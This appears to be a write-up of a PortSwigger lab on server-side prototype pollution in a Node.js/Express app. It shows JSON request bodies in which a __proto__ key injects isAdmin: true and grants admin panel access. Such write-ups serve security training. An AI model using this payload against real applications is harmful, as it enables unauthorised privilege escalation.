> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/prototype-pollution/privilege-escalation-via-server-side-prototype-pollution.md).

# Privilege Escalation via Server-Side Prototype Pollution

Privilege Escalation via Server-Side Prototype Pollution notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation conte

### Privilege Escalation via Server-side Prototype Pollution

#### Lab Context

The application (Node.js + Express) **Merges a user-controlled JSON object** in a server-side JavaScript object, **without filtering** dangerous keys such as `__proto__`. / Result: we can **polute `Object.prototype`** and inject properties that will be inherited by other objects.

In this lab, it is easy to spot because **the properties inherited via the prototype chain reappear in the HTTP response**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1cc095ab8baff681bc42db565602c0384247b8c%2Fimage%20(110).png?alt=media" alt=""><figcaption></figcaption></figure>

### 1) Entry Point (source): JSON Request to Update Address

**Analysis of the request**

When updating the user address, the application sends in the background the following JSON request:

{% code overflow="wrap" %}

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "WTgq2JXh1WaH4oRdDbqX28gKv8stV3rE"
}
```

{% endcode %}

The server response contains user information, including the sensitive field:

```json
{
  "username": "wiener",
  "firstname": "Peter",
  "lastname": "Wiener",
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "isAdmin": false
}
```

**Vulnerability identification**

Adding a special `__proto__` key to the JSON body:

```json
"__proto__":  {
"foo":"bar"}
```

The server response reflects the `foo` property.

```json
"foo":"bar"
}
```

This confirms that:

* The server \*\* merges directly the user object\*\*
* **pollution of the global prototype (`Object.prototype`) is possible**
* The inherited properties are visible and exploited

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c9adb87c4d4f4169642b0985dbf5a8f8d91e722%2Fimage%20(112).png?alt=media" alt=""><figcaption></figcaption></figure>

**Operation: increased privileges**

The interesting property here is `isAdmin`, used by the application to determine privileges.

This property is then injected into the global prototype:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "WTgq2JXh1WaH4oRdDbqX28gKv8stV3rE",
  "__proto__": {
    "isAdmin": "true"
  }
}
```

**Result**

* The `isAdmin` property is now inherited from `Object.prototype`
* During authorisation checks, the application considers the user as \*\* administrator\*\*

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9e3b846f25af921acf40e9b30fa900d7afff263%2Fimage%20(113).png?alt=media" alt=""><figcaption></figcaption></figure>

* Access to `/admin` panel

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e13c81e7fb79e5083f159f98658df92f6a5364d3%2Fimage%20(114).png?alt=media" alt=""><figcaption></figcaption></figure>


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